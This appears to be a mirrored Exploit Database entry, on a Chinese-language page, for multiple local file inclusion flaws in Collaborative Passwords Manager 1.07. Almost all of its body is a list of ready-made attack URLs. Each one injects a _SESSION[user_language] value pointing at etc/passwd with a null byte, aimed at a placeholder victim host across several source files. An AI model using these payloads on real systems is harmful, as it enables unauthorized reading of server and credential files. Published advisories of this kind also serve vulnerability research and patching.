Collaborative Passwords Manager 1.07 – Multiple Local File Inclusions

• Exploit Database
• 183 阅读

• 作者： sh00t0ut
  日期： 2010-09-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15093/
• 1 2 3 4 5 6 7 8 9 10 11 12

  [~] Collaborative Passwords Manager 1.07 Multiple Local Include Exploit [~] Found by sh00t0ut [~] Expl: [~] Vendor: http://code.google.com/p/cpassman/downloads/list   http://[victim]/?_SESSION[user_language]=[etc/passwd]%00 http://[victim]/sources/admin.queries.php?_SESSION[user_language]=[etc/passwd]%00 http://[victim]/sources/functions.queries.php?_SESSION[user_language]=[etc/passwd]%00 http://[victim]/sources/views.queries.php?_SESSION[user_language]=[etc/passwd]%00 http://[victim]/sources/groups.queries.php?_SESSION[user_language]=[etc/passwd]%00 http://[victim]/sources/items.queries.php?_SESSION[user_language]=[etc/passwd]%00